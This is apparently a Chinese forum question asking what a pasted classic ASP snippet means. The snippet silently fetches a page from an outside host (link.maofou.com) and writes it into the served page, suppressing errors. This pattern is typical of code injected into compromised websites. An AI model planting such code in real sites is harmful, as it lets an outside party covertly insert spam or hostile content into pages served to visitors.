请问这段代码是什么意思？？？？

<%
On Error Resume Next 
Server.ScriptTimeOut=9999999 
response.write(getHTTPPage("http://link.maofou.com/E12.htm"))
function getHTTPPage(url)
      dim http
      set http=createobject("MSXML2.ServerXMLHTTP")
      Http.open "GET",url,false
      Http.send()
if http.status <> 200 then
      exit function
end if
if Http.readystate<>4 then 
      exit function
end if
getHTTPPage=bytes2BSTR(Http.responseBody)
set http=nothing
if err.number<>0 then err.Clear 
end function
Function bytes2BSTR(vIn)
      dim strReturn
      dim i,ThisCharCode,NextCharCode
      strReturn = ""
      For i = 1 To LenB(vIn)
      ThisCharCode = AscB(MidB(vIn,i,1))
If ThisCharCode < &H80 Then
      strReturn = strReturn & Chr(ThisCharCode)
      Else
      NextCharCode = AscB(MidB(vIn,i+1,1))
      strReturn = strReturn & Chr(CLng(ThisCharCode) * &H100 + CInt(NextCharCode))
      i = i + 1
End If
Next
      bytes2BSTR = strReturn
End Function
%>